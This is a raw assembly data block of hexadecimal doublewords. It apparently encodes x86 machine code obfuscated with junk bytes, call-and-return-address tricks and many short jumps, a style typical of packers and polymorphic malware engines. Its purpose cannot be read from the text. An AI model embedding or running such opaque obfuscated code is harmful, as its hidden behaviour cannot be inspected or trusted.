dd 924BCD00h, 260AC873h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0A1DB29C3h, 0AD9D4901h
dd 0E4E78100h, 0E65AEE21h, 52006A70h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0C074CB6h
dd 8908D39Fh, 0E906A5BDh, 6A71E405h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 280CC352h
dd 633F1F9Fh, 4EDE81BDh, 0F49577Dh, 6AD8B6h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 424EE6C3h
dd 0CD07A97h, 8F0F5376h, 2, 0BA5F5F51h, 6, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 2C35040h, 8BF88B8Bh
dd 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 7E155C6Eh, 0AA6A2385h, 658D8903h, 0F05E906h
dd 0E8C1FEBFh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 0FAE468BAh, 8BBA26DEh
dd 0E92C15BDh, 3DB58B05h, 6605E930h, 0BE66E2F7h, 0D82B32D5h
dd 31099589h, 8E905E9h, 28000000h, 0F17C8DFCh, 501FCF63h
dd 0BE85250h, 0DA000000h, 8FCFD3B4h, 72879432h, 61601FA3h
dd 66310F5Fh, 5A7A11BEh, 241C8958h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 30C35747h, 0C8FC75F7h, 89BD03EDh
dd 0FF05E919h, 0E9243DB5h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9DC88C98h
dd 27BF6516h, 0AE97C5Ah, 77000000h, 0D8EB2943h, 2B9D2798h
dd 9595FFD1h, 2905E91Eh, 0E91751B5h, 6A00B005h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 5A20C352h, 607E6A2Fh, 0FF28B66h, 38Ah, 0C9B70F00h, 6DB58B61h
dd 0E605E923h, 56006A70h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 0C0553716h, 0E56D1BFBh
dd 0E4F38BF8h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 2A49979h, 4107479Eh, 6820F98h
dd 9000000h, 0E9196D9Dh, 0F613C05h, 28583h, 0F9B58B00h
dd 0F05E903h, 0CF81D8B6h, 47EC0687h, 6BAh, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0DA093F45h, 0C38BC6FDh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0D7C35040h, 0F3BF0FEAh, 1D3DBD8Bh, 0E8C105E9h
dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0AC39B4F8h, 0BFE26C2Fh, 2907A1h, 0EF1BD8Bh
dd 0F76605E9h, 0D82BFCE2h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0FEC35040h, 747BF4BEh, 0FE912h, 29C20000h
dd 0BC791D54h, 11335805h, 0EC4540E1h, 0A0BF5882h, 2B1DA7EAh
dd 0AF880FD8h, 6A000001h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 9B46C351h, 6E83Ch
dd 0B6980000h, 19229C34h, 32AD9509h, 0B95F05E9h, 7, 0E8FEB70Fh
dd 0Ah, 51B4D0B2h, 484ECC85h, 13E803CCh, 64000000h, 0E1F487F6h
dd 0AB28A8CDh, 0CBFFF1C0h, 0BC8B0F35h, 8D09263Fh, 5E92C1Dh
dd 0C1835F5Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0A480A937h, 45B58B3Bh
dd 3B05E92Dh, 17860FD9h, 0E9000001h, 0Ch, 8F13BA3Bh, 0AA7FE1B6h
dd 36C25946h
dd 60D98C66h, 0EEF0CEBBh, 0C1F66101h, 0EA840F04h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0C862C356h, 4E99F303h, 0FFB14F33h, 0E90BED95h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0C4542A8Ah, 610727E2h, 9589C38Ch, 5E907FDh
dd 0E195315Bh, 905E90Ch, 0E900B98Dh, 6AC32B05h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 8D6C355h, 3D02C9CDh, 834h, 5B860Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 325F54C3h, 0BEA830C4h, 604B687Dh, 6870Fh, 9D890000h
dd 5E90FC1h, 2DE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0A4CE838Eh, 0ED925579h
dd 8BC08BA7h, 0E91D45B5h, 0C38BFC05h, 0DBFD88Bh, 0C7519EB7h
dd 0E901E585h, 44377905h, 50006A1Eh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 3DBE666Ch
dd 6AC08BCEh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0C7FFC357h, 0FFA5479Ch, 89605F1Fh
dd 0E922ED85h, 61F28B05h, 243DBD81h, 7D005E9h, 850F0000h
dd 13h, 0C81B529h, 85FF05E9h, 5E9243Dh, 0B5DE81F8h, 0FF096127h
dd 0E9243DB5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 60C9ABEFh, 0BD897688h
dd 5E910DDh, 1E9595FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0E39B6C3h, 0F3CFE7B4h
dd 0FE013A5h, 787h, 1810F00h, 0F8000000h, 90F6B70Fh, 0E8F28B66h
dd 5, 0A47804D5h, 42BF66F3h, 0FB8B5E30h, 3129B503h, 0BD8B05E9h
dd 5E91F45h, 31FDBD8Bh, 0BD8B05E9h, 5E90E0Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 37C35545h, 6AA2A052h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 2639C355h, 6AA49053h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 942EC352h
dd 283793h, 0FBCA79Ah, 0E88h, 9E900h, 0BE530000h, 4BE0D912h
dd 0FB4C7A7h, 0B84h, 0CF816600h, 0B5298D7Eh, 5E91985h
dd 2C1B58Bh, 0BD8B05E9h, 5E9077Dh, 2775BD01h, 6A05E9h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 7D3620C3h, 0AB680778h, 81661680h, 51D05CC6h, 6810Fh
dd 0BD890000h, 5E921E1h, 51006A5Fh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 8D8977D0h, 5E91F3Dh, 92C1D0BEh
dd 0F6E0E91Ah, 8BF9FFFFh, 0EBC18BF9h, 4, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 23220E7Fh, 66536C19h, 1DC9D781h, 5890F5Fh, 0BE000000h
dd 259C049Dh, 21E5858Dh, 7E905E9h, 0C2000000h, 2DEF8D41h
dd 0BE503018h, 4565F831h, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8FA5C350h
dd 0CF275AA8h, 0B58BFE33h, 5E91759h, 3129B52Bh, 6A05E9h
dd 48C0Fh, 0BE660000h, 6A410Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 2CC35343h, 3E8DD63Fh, 0FFC9858Dh
dd 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0B7E1FEC3h, 66AA7107h, 83C61BBEh, 6A05C0h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 25AF04C3h, 0BA878C65h, 50905A07h, 5EF08B66h, 0CE950h
dd 22AD0000h, 1CF4D400h, 90230BB3h, 0FC90D314h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 24D225C3h, 22C68166h, 6A006AC6h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0CB36C350h
dd 0B45C3F72h, 0FF6BDCDh, 687h, 0F9850100h, 0FF05E903h
dd 0E90AA195h, 68D0F05h, 89000000h, 0E92E4D85h, 0BF9D8D05h
dd 6A05ECADh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0F2E4C350h, 89B19161h, 0E9123995h
dd 51D3FF05h, 1CC7BE66h, 0C7CE815Eh, 0FF329BFEh, 0E9068985h
dd 8515BF05h, 0DFE969D7h, 0E8000007h, 0
dd 0D3ED815Dh, 8105ECFFh, 0E9243DBDh, 7D005h, 29860F00h
dd 0F000001h, 68Ch, 59852900h, 8B05E911h, 0E900899Dh, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0E3818831h, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 2BC35242h, 60EC430Ch, 0B58B6B95h, 5E90681h
dd 850FDB0Bh, 6Bh, 0DA98531h, 0BD8305E9h, 5ECFE00h, 33840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0BE8FC351h, 0E8EF42B6h, 721A8292h
dd 0E9F08B66h, 35h, 0FBD8D29h, 85C705E9h, 5ECFE00h, 1
dd 2F15B523h, 1AE905E9h, 0E9000000h, 0Bh, 88B34B6Ch, 0D85EB253h
dd 0C7269395h, 0ECFE0085h, 5, 899D8D00h, 6A05E900h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0B0AEC355h, 2381A784h, 0FFFFFEFFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 63C35545h, 8FBC7BF9h, 0F78B6659h
dd 0FDB8C66h, 586h, 0F719BF00h, 0C3F61258h, 61840F04h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 669CC352h, 0BF09C1E7h, 7D58D00Ch
dd 0BED95FFh, 8CBF05E9h, 906649B6h, 0FE8B6650h, 52006A90h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 3F60F617h, 5350A87Ah, 6559D31h, 5F5F05E9h, 400E9h, 0CFD68100h
dd 0B03DF8BDh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0D7A225DAh, 70E6C943h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 37C35747h
dd 6A71E4C8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 9FC7C353h, 0E9FFD3E4h, 0Bh, 4B74AA05h
dd 1321DFBBh, 0FB84EFCh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 4A6432C3h, 0FC3D5552h
dd 8BB5ADF0h, 0E90D95BDh, 6BA05h, 81660000h, 8B02FBD7h
dd 0FFB70FC3h, 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 3865C356h, 690E5444h
dd 0C1B58BF5h, 6605E900h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0F508EEC3h, 0A75B47BFh
dd 6AD82B68h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 35ABC352h, 1CD7A5EFh, 5E53B844h
dd 0C8F0F93h, 0F000000h, 682h, 8F0F00h, 50000000h, 93F08B66h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3AC35242h
dd 66752E77h, 0CE68E781h, 243DB5FFh, 6A05E9h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BDBBD1C3h
dd 95FF2004h, 5E91E95h, 91F2D0BFh, 6A00B029h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0F1CAC350h, 81662241h, 0E662B8E6h, 31BD8B70h, 0E405E922h
dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0B1AE7ABDh, 830F613Ch, 20Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CEC35343h, 620A9C9Ch
dd 66B1526Eh, 0F5C02BFh, 6BAD8B6h, 8B000000h, 698509C3h
dd 0C105E90Bh, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0FFCE8CC3h, 23B868CEh, 6F77BBBFh
dd 0E2F7661Ah, 1805BD2Bh, 0D82B05E9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 27C35646h, 6328507Fh, 1CCE2B34h
dd 0C9BD8B58h, 2B05E90Ah, 6E880FD8h, 6A000001h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0C351C355h, 7B9D0h, 0BD890000h, 5E9017Dh, 5100C183h
dd 5EF28B66h, 860FD93Bh, 135h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 62C35141h, 29B6C709h, 0E9C82480h
dd 0Eh, 0C783FDD9h, 8E18AB40h, 0FDB1F5Bh, 8E92E51h, 65000000h
dd 7CD7852Ah, 669C2863h, 0C1F6D98Ch, 0C3840F04h, 1000000h
dd 0E927B1B5h, 0ED95FF05h, 6A05E90Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8702C356h
dd 226DB529h, 830F05E9h, 15h, 0FE8h, 2A5C1500h, 0BB32D416h
dd 0FC0C9604h, 72FE9AB1h, 52605B5Fh, 0B09C95BEh, 85895874h
dd 5E90325h, 6AC32B61h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0F2A6C355h, 8343DBBh
dd 860F0000h, 3Eh, 12E9h, 31164100h, 948D24A3h, 66CB7A88h
dd 0E0EE02D4h, 0E90F4216h, 45h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 74C35141h, 0F6816688h, 0C08B62E4h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 28C35747h
dd 9DF798BEh, 8BC38B02h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 0D919D6F3h, 0A9E86C1Dh
dd 12820F63h, 0E8000000h, 0Ah, 2462D885h, 0F0421122h, 5F50C933h
dd 68A0F5Eh, 8B000000h, 0E9220DB5h, 7985C705h, 9305E910h
dd 6A5C1833h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0AED8C350h, 46D819E7h, 0BD33C08Bh
dd 5E91859h, 243DBD81h, 7D005E9h, 850F0000h, 10h, 2BF8BE66h
dd 243D85FFh, 9D0905E9h, 5E92BEDh, 243DB5FFh, 0B58B05E9h
dd 5E90771h, 1E9595FFh, 0FE8B05E9h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8B987063h
dd 0E91F21BDh, 45B58905h, 0F05E904h, 6AF6B7h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 639380C3h
dd 0BD8BB7B1h, 5E90591h, 0B780EE81h, 816678B9h, 6A1F45EEh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 0CA8AC357h, 0CBF99356h, 2B818529h, 858905E9h
dd 5E91FADh, 7E960h, 0F0870000h, 130CDBCEh, 0B5896039h
dd 5E906ADh, 666178B2h, 0AC69DE81h, 0B1952961h, 8905E927h
dd 0E92635B5h, 14E905h, 96C80000h, 0D9DF23E8h, 7BE11A6Bh
dd 7A298084h, 32927872h, 9D8973B9h, 5E90091h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 0D988E77h
dd 6E0A808Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0B1C35646h, 96F2A397h, 59DFA3B2h, 0F869E939h, 6AFFFFh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 8116C9C3h, 0A5C5F3D6h, 13E87Ch, 8EF50000h, 4891666Eh
dd 5ACBDED9h, 1C9D9E58h, 65BDE20Ah, 75B523D4h, 3105E92Fh
dd 0E9289D8Dh, 0C18B5E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 46C35747h, 0BCACD8CFh, 6860Fh
dd 8D890000h, 5E924DDh, 3A9BD03h, 4EB05E9h, 0
dd 3870Fh, 0BF0F0000h, 0E5858DFAh, 6A05E921h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0CA1CC357h, 0FF28B66h, 486h, 5ABE6600h, 0DDBD8B27h
dd 5005E92Ah, 66240489h, 6AFB8Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 2C35242h, 7665A709h, 6A006A90h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0D22DC351h, 29839FFCh, 0B5296D2Bh, 5E90251h
dd 99F858Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 0B70B37C3h, 4A7AD181h, 896067E8h
dd 0E90E8185h, 0D38B6605h, 5C08361h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 56C35040h, 14E890F9h, 22000000h
dd 0ED18204Ah, 825DC465h, 0CD7AD2ABh, 0F1ADF433h, 6632ABA2h
dd 5EFFCFBFh, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 6AB8C3h, 0ABC0FCBFh, 60006A0Fh
dd 0B018D89h, 0FF6105E9h, 0E90AA195h, 68C0F05h, 89000000h
dd 0E904C19Dh, 0BF9D8D05h, 6005ECADh, 17EBBB66h, 6E861h
dd 0C6230000h, 95C29E97h, 0D3FF5EFCh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0C2C35646h, 518D890Ah, 6605E916h
dd 0FFEC4BBEh, 0E9068985h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 30697E11h
dd 0F183A7C7h, 0F2B70F38h, 83EE9h, 0E800h, 815D0000h, 0ED09A9EDh
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0A29BFCEEh, 85BD89BDh, 8105E932h, 0E9243DBDh
dd 7D005h, 10860F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 889FC357h, 0FE256E1Fh
dd 0F3C6F7EBh, 8BF6B70Fh, 0E91EA19Dh, 0F5B58B05h, 8105E930h
dd 100E3h, 858B6000h, 5E90BADh, 11719589h, 8B6105E9h, 0E927ADBDh
dd 0FDB0B05h, 8E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0F18B66B9h, 7E3BD83h
dd 0F0005EDh, 3184h, 7D8D0900h, 0E905E922h, 64h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FCC35141h, 81CDB06Dh
dd 9EAA270Fh, 85C7FE8Bh, 5ED07E3h, 1, 0AE9h, 67981800h
dd 1F71C222h, 0E9556791h, 20h, 7E8h, 29F4CF00h, 29982A66h
dd 2B91BD8Bh, 0C75E05E9h, 0ED07E385h, 5, 0F6B70F00h, 1EA19D8Dh
dd 0EE905E9h, 0E6000000h, 190201B8h, 94A6122Dh, 0DEDC176Bh
dd 0FF238110h, 66FFFFFEh, 6ADB8Ch, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0F6F97DC3h, 840F04C3h
dd 91h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch
dd 0C4C35545h, 0FE610904h, 1AFFBA0Fh, 7018589h, 816605E9h
dd 0FF8BBACEh, 0E90BED95h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 8B4B80D6h
dd 0E930F5BDh, 0D2FDBE05h, 8B905A2Fh, 505150FAh, 0F616052h
dd 5A616031h, 6A905E58h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0EE20C353h, 0BF92DF56h
dd 45EE9CAh, 0BD090000h, 5E92659h, 0E95700B0h, 0Eh, 0E7B13378h
dd 0AC2C6962h, 98037F50h, 0E65FD268h, 52006A70h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 9BBE669Ah, 8971E430h, 0E93295B5h, 0D8B60F05h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D1C35646h, 0ED889D72h
dd 5D870515h, 6BA53h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 927C58C3h, 17F7426Eh
dd 0FA8B6660h, 0D71B58Bh, 8B6105E9h, 53006AC3h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 6E7DA442h
dd 2AEE6CDBh, 8D89DCD0h, 5E91F0Dh, 6A04E8C1h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 2FF8C355h, 7830F498h, 95BE04C0h, 6628E136h, 2BFCE2F7h
dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 42FEEAF6h, 0E7FF7DE7h, 25B5B589h, 0F08B05E9h
dd 8B665193h, 0E8505FF8h, 11h, 3ADDD55Bh, 0F1E07FF7h, 5FB5111Fh
dd 0B4BCD2EDh, 0AE86Dh, 33250000h, 0AE0B70ECh, 97202FF0h
dd 850Fh, 5F5E0000h, 50006A93h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 7FCA4D32h, 0E9B58BDDh
dd 0FF05E90Bh, 0E9243DB5h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FF217918h
dd 0E91E9595h, 0F38B6605h, 37A7BF66h, 0BF6600B0h, 70E6A16Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EEC35747h
dd 0D03FD611h, 0CE8565Bh, 0AD000000h, 0AEB4A762h, 79BC2D8Bh
dd 5F5ED17Dh, 1BD035Fh, 0E405E917h, 11E971h, 4250000h
dd 2189D248h, 0C2A0B295h, 0B74C4677h, 3C3AA788h, 45830F61h
dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0D4D8C351h, 6800F60h, 89000000h
dd 0E908F5B5h, 0BF665105h, 615BF9CFh, 0BFD8B60Fh, 36092D99h
dd 6BAh, 60C38B00h, 12A98D89h, 8D0B05E9h, 5E91601h, 4E8C161h
dd 0E8FE8B66h, 8, 0AFD31490h, 0D6E77FAh, 2A918D29h, 665F05E9h
dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 98AA4C3h, 0D7F8FBBFh, 28B0F79h, 52000000h
dd 0FD82B5Eh, 8Ah, 6A5800h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0B4662BC3h, 0BE66CB9Fh
dd 0D82BEC87h, 17A880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 79B86EC3h, 0BF660381h
dd 8589B143h, 5E901EDh, 7B9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C542E470h
dd 1DCCA2D8h, 0C183CA61h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 802C9DAEh
dd 3BAC6CC1h, 0F9860FD9h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 65B4C350h
dd 33AECC65h, 66B16D2Fh, 0E960D98Ch, 13h, 0C86F19A4h, 73FD89E6h
dd 9C5ECE1Dh, 9899854Ch, 577D702Eh, 59D38B66h, 0FBF6661h
dd 4C1F659h, 84840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 1113C4C3h, 0D2D293C1h
dd 0F8B70FFBh, 0BED95FFh, 0E95B05E9h, 0Ch, 0A3692372h
dd 8F5385Ch, 35BA4D22h, 6656C32Bh, 3D5EF88Bh, 834h, 34860Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 624131C3h, 95892333h, 5E92A6Dh, 0E9F6B70Fh
dd 28h, 0B5B8CF81h, 0C08B4BA1h, 14E8h, 38156E00h, 71E4B594h
dd 0E95F1169h, 0BB5192D1h, 19F1723Dh, 6AE781F2h, 5F52B7FDh
dd 0D88BC38Bh, 8985C7F9h, 3305E900h, 0E971FE9Dh, 14h, 0AF6D5582h
dd 0BBE40734h, 91B6FFC6h, 437AD038h, 392AA182h, 0BD8BC08Bh
dd 5E91E75h, 455B50Bh, 0BD8105E9h, 5E9243Dh, 7D0h, 2D850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 8157A4C3h, 0F17E9FF6h, 85FF5F1Ch, 5E9243Dh
dd 0FFF08B66h, 0E9243DB5h, 0F2BF0F05h, 1E9595FFh, 6A05E9h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 5802E6C3h, 68C0FF6h, 8B000000h, 0E92EFDBDh, 33DF8105h
dd 9078FF1Ch, 5810Fh, 27BF0000h, 6A186ACDh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 898EC355h
dd 19CBF3D5h, 12E904h, 0ED020000h, 432C4657h, 44D0624Ch
dd 5074392Ch, 0DFE7C477h, 0D41BD8Bh, 0D68105E9h, 21C8B76Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0FC35040h
dd 8157D5F5h, 474F9AEFh, 0F1BD8B0Bh, 6A05E92Ch, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 6320C353h, 0FB8B19ACh, 68D0Fh, 0B58B0000h, 5E92A01h
dd 0E29CBF66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 17C35343h, 6D4AA1A2h, 0F8BF0F1Eh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 19h, 38C35747h, 0F5A4FA2Ah
dd 68F0FDCh, 8B000000h, 0E92841B5h, 0B5895205h, 5E91841h
dd 0F7D3E95Fh, 0CE9FFFFh, 21000000h, 9D9627CBh, 0E00B3284h
dd 8B90188Dh, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 8957B599h, 0E90D01BDh, 4EB05h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0A340C352h, 0DE9h, 0A469AA00h, 0D7E55712h
dd 334BEC5Ch, 6ADBBAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 4B9916C3h, 56B3996Eh, 8D9CE40Ah
dd 0E921E585h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 6810F97h, 1000000h, 0E9103D95h
dd 0D8D2905h, 9005E908h, 8850Fh, 8A600000h, 0B5BA66D8h
dd 6650614Bh, 908003BEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 23C35343h, 1231B7BBh, 0C0219A82h, 0E1DCEE81h
dd 6A7679h, 0E8B96660h, 5E50BF21h, 6A615222h, 81B58B00h
dd 8D05E927h, 0ED13E485h, 0ED9D8905h, 8305E92Bh, 6A05C0h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0CB2963C3h, 0FE8552Fh, 687h, 0B9BD8B00h, 5005E912h
dd 89F78B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 5E19D5C3h, 6ADB8D75h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0BFD2CC49h, 11AAB9B9h, 0F98589h, 0BF0F05E9h, 81006AF8h
dd 0BB7CAEDFh, 0A195FF56h, 8905E90Ah, 0E924458Dh, 8D852905h
